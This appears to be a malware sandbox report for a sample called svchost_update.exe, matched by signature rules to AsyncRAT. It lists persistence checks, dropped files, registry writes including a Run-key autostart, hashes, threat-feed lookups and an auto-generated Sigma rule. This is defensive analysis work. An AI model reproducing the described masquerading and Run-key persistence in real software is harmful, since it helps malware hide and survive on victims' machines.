MethodFamilyATT&CKEvidenceSeverity
Registry Run Key Logon & Startup T1547.001 Runtime HIGH

Runtime evidence means the mechanism was established during detonation. A static hint means the sample only references the technique.

Detection coverage

1 / 90

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".

Logon & Startup 1 / 22
  • Active Setup Installed Component T1547.014 clean
  • Explorer Delay-Load Object T1547.001 clean
  • Explorer Run Key T1547.001 clean
  • Explorer SharedTaskScheduler T1547.001 clean
  • Group Policy Extension DLL T1547.004 clean
  • Group Policy Run Key T1547.001 clean
  • Logon Script T1037.001 clean
  • RDP WDS Startup Program T1547.001 clean
  • Registry Run Key T1547.001 detected
  • Registry RunEx Key T1547.001 clean
  • Registry RunOnce Key T1547.001 clean
  • Registry RunOnceEx Key T1547.001 clean
  • Registry RunServices Key T1547.001 clean
  • Startup Folder Item T1547.001 clean
  • Startup Folder Redirection T1547.001 clean
  • Terminal Services Initial Program T1547.001 clean
  • Winlogon GINA DLL T1547.004 clean
  • Winlogon MPNotify Value T1547.004 clean
  • Winlogon Notify Package T1547.004 clean
  • Winlogon Shell Value T1547.004 clean
  • Winlogon Taskman Value T1547.004 clean
  • Winlogon Userinit Value T1547.004 clean
Services & Tasks 9 clean
  • BITS Job T1197 clean
  • Print Monitor DLL T1547.010 clean
  • Print Processor DLL T1547.012 clean
  • Scheduled Task T1053.005 clean
  • Scheduled Task Registry Implant T1053.005 clean
  • Service Control Manager Security Descriptor T1574.011 clean
  • Service DLL Hijack T1543.003 clean
  • Time Provider DLL T1547.003 clean
  • Windows Service Creation T1543.003 clean
Execution Hijack 17 clean
  • .NET Managed Debugger T1546.012 clean
  • Accessibility Tool Hijack T1546.008 clean
  • AeDebug Postmortem Debugger T1546.012 clean
  • App Paths Hijack T1546.012 clean
  • Application Shim Database T1546.011 clean
  • Boot Verification Program T1547.002 clean
  • Command Processor AutoRun T1546.011 clean
  • Explorer Load Value T1547.001 clean
  • Explorer MyComputer Tool Hijack T1546.001 clean
  • Registry Image File Execution Options T1546.012 clean
  • Screensaver Hijack T1546.002 clean
  • Setup ErrorHandler Script T1546 clean
  • Shell Open Command Hijack T1546.001 clean
  • SilentProcessExit Monitor T1546.012 clean
  • Telemetry Controller Command T1546.015 clean
  • WER ReflectDebugger T1546.012 clean
  • Windows Error Reporting Debugger T1546.012 clean
DLL Load Order 12 clean
  • .NET CLR Profiler DLL T1574.012 clean
  • .NET Startup Hook DLL T1574 clean
  • AppCert DLLs T1546.009 clean
  • AppInit DLLs T1546.010 clean
  • AutodialDLL Winsock Injection T1546.006 clean
  • DLL Search-Order Hijack T1574.001 T1574.002 clean
  • DNS Server Plugin DLL T1574.001 clean
  • HTML Help Helper DLL T1546 clean
  • KnownDLLs Manipulation T1574.001 clean
  • Natural Language Platform DLL Override T1546 clean
  • Netsh Helper DLL T1546.007 clean
  • Winsock Layered Service Provider T1546.006 clean
COM & Browser 6 clean
  • Browser Extension T1176 clean
  • Browser Helper Object T1176 clean
  • COM Server Hijack T1546.015 clean
  • HTML Help COM Object Hijack T1546.015 clean
  • Shell Context Menu Handler T1546.001 clean
  • Shell Extension Handler T1546.001 clean
Security Providers & Accounts 11 clean
  • Account RID Hijack T1098 clean
  • AMSI Provider T1562.001 clean
  • Credential Provider T1547.014 clean
  • DSRM Admin Logon Backdoor T1556 clean
  • Hidden Local Account T1136.001 clean
  • LSA Authentication Package T1547.002 clean
  • LSA Extension DLL T1547.005 clean
  • LSA Notification Package T1547.005 clean
  • LSA Security Package T1547.005 clean
  • Network Provider DLL T1556.008 clean
  • Security Support Provider T1547.005 clean
Scripting & Applications 9 clean
  • Netsh Port Proxy T1090.001 clean
  • Office Add-in T1137.006 clean
  • Office Executable Sideload T1574.002 clean
  • Office Startup Template T1137.001 clean
  • Office Test Key T1137.002 clean
  • Power Automate Flow T1546 clean
  • PowerShell Profile T1546.013 clean
  • Windows Terminal Startup Action T1546 clean
  • WMI Event Subscription T1546.003 clean
Boot & Firmware 4 clean
  • BootExecute Native Image T1547.002 clean
  • PlatformExecute Native Image T1547.002 clean
  • SetupExecute Native Image T1547.002 clean
  • UEFI / Bootkit Artifact T1542.003 T1542.001 clean

File activity summary

create 2 write 0 modify 2 delete 1 rename 0

Dropped files

2 payloads
PathSHA-256SizeProcessTimeDownload
C:\Users\user\AppData\Roaming\svchost_update.exe fd245f758530291fafaafe8b… 45.5 KB svchost_update.exe pid 5104 - -
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat - - svchost_update.exe pid 5104 - -

Dropped payload analysis

not examined

The run recorded 2 payload writes and the guest returned no payload capture, so no bytes were kept and none of these files was examined. Their paths are listed above. Read this as a gap in the evidence: nothing here says those payloads were harmless.

File & registry ops

5 file · 13 registry · sample scope

File operation times: 5 timed

OperationTargetProcess
createpayload
C:\Users\user\AppData\Roaming\svchost_update.exe
45.5 KBsame path
svchost_update.exe pid 5104 2026-10-08 11:49:12.521
create
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
same path
svchost_update.exe pid 5104 2026-10-08 11:49:12.521
modify
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
same path
- 2026-10-08 11:49:12.521
modifypayload
C:\Users\user\AppData\Roaming\svchost_update.exe
45.5 KBsame path
- 2026-10-08 11:49:12.521
delete
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
same path
- 2026-10-08 11:49:15.928
create
SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload
svchost_update.exe pid 3788 not timed
create
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
svchost_update.exe pid 3788 not timed
create
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing
svchost_update.exe pid 3788 not timed
create
SYSTEM\ControlSet001\Services\Tcpip\Parameters
svchost_update.exe pid 3788 not timed
create
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASAPI32
svchost_update.exe pid 3788 not timed
create
\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASMANCS
svchost_update.exe pid 3788 not timed
create
\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload
svchost_update.exe pid 3788 not timed
create
TenantRestrictions\Payload
svchost_update.exe pid 3788 not timed
create
\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters
svchost_update.exe pid 3788 not timed
setvaluepersist
Software\Microsoft\Windows\CurrentVersion\Run
svchost_update = "C:\Users\user\AppData\Roaming\svchost_update.exe"
autostart diff
- not timed
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings = <56 bytes>
read back
- not timed
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
DefaultConnectionSettings = <56 bytes>
read back
- not timed
setvalue
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
WinHttpSettings = <20 bytes>
read back
- not timed

External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so MalwareBazaar and filescan.io are listed below as not checked. See plans.

1 reported a hit 16 answered no 1 could not answer 4 had nothing to check
1Sources with a hit
18Sources queriedof 22 available
469.2kFeed records
1Could not answer

File reputation

4 clear · 2 not checked
SourceChecksResultDetailFeed
MalwareBazaar hash feed File hash clean not in feed 3,387 records
45 minutes ago
MalwareBazaar ransomware feed File hash clean not in feed 3,348 records
4 hours ago
ThreatFox hash IOCs File hash clean not in feed 1,689 records
45 minutes ago
URLhaus payload hashes File hash clean not in feed 1,310 records
45 minutes ago
filescan.io File hash not checked no hash lookup ran for this scan live lookup
MalwareBazaar File hash not checked no hash lookup ran for this scan live lookup

Hash lookups only - the sample itself is never uploaded to any third party.

Network indicators

7 clear · 1 could not answer
SourceChecksResultDetailFeed
URLhaus IP / domain / URL feed unavailable 2 observed indicators, none listed no records ingested
blocklist.de IP / domain / URL clean 2 observed indicators, none listed 26.3k records
45 minutes ago
CINS Army IP / domain / URL clean 2 observed indicators, none listed 15k records
45 minutes ago
Emerging Threats IP / domain / URL clean 2 observed indicators, none listed 511 records
45 minutes ago
Feodo Tracker IP / domain / URL clean 2 observed indicators, none listed 5 records
45 minutes ago
IPsum IP / domain / URL clean 2 observed indicators, none listed 18.4k records
45 minutes ago
Phishing.Database IP / domain / URL clean 2 observed indicators, none listed 391.5k records
4 hours ago
ThreatFox IP / domain / URL clean 2 observed indicators, none listed 1,689 records
45 minutes ago

TLS fingerprints

nothing of this kind to check
SourceChecksResultDetailFeed
JA3 / JA4 fingerprint blocklists JA3 / JA4 not checked no TLS client fingerprint observed 97 records
10 hours ago
SSL blocklist Server certificate not checked no server certificate fingerprint is extracted to check live lookup

Detection rules

1 of 2 listed
SourceChecksResultDetailFeed
Signature rules Sample content 4 matches SEKOIA_Rat_Win_Asyncrat, AsyncRAT_057B, win_asyncrat_j1 110 records
45 minutes ago
Sigma rules Behavior log clean - 2,275 records
6 hours ago

Tooling catalogs

4 clear
SourceChecksResultDetailFeed
LOLBAS Process image paths clean 5 process image paths, none masqueraded 245 records
45 minutes ago
LOLBootloaders File hash clean not a known vulnerable bootloader 520 records
44 minutes ago
LOLDrivers File hash clean not a known vulnerable driver 2,346 records
45 minutes ago
LOLRMM Names and domains clean 7 name/domain indicators checked, no remote-management tooling 358 records
44 minutes ago

AI analysis

The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.

Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.

See plans Create an account

3 malicious 5 suspicious 0 info

File indicators

5
SeverityTypeIndicatorDescription
malicious sample_sha256 fd245f758530291fafaafe8b61da040ecbfa7d555f2e3cc26ca4eb7bd5eddb76 Submitted sample (SHA256)
malicious sample_md5 49fca5e0b67f0445d8113356abb00c8d Submitted sample (MD5)
malicious imphash f34d5f2d4577ed6d9ceec516c1f5a744 Import table hash (imphash)
suspicious dropped_file C:\Users\user\AppData\Roaming\svchost_update.exe Executable written to disk during execution
suspicious dropped_file C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat Executable written to disk during execution

Registry indicators

3
SeverityTypeIndicatorDescription
suspicious registry_key SYSTEM\ControlSet001\Services\Tcpip\Parameters Autostart / persistence key
suspicious registry_key \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters Autostart / persistence key
suspicious registry_key Software\Microsoft\Windows\CurrentVersion\Run Autostart / persistence key

MITRE ATT&CK

1 technique
Persistence
Registry Run Keys
T1547.001

Sigma detections

0 matches of 2275 rules

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

Generated rules

Sigma: auto_file_2685_sigma_reg

Auto-generated
title: Auto-generated registry behavior rule (sandbox scan 2685)
id: sandbox-auto-2685-reg
status: experimental
description: Auto-generated from sandbox scan 2685
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains:
            - 'SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections'
            - '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing'
            - 'SYSTEM\ControlSet001\Services\Tcpip\Parameters'
            - '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASAPI32'
            - '\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Tracing\svchost_update_RASMANCS'
            - '\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
            - 'TenantRestrictions\Payload'
    condition: selection
level: medium

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

Export & download

/s/2685

Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.

Analysis report

PDF and DOCX reports are available to signed-in accounts on every plan, free included. Sign in to generate one.

Public analyses of this file

1 run
SubmittedEnvironmentVerdictScore
2026-10-08 11:48 Shown below Windows 10 22H2 Malicious 100/100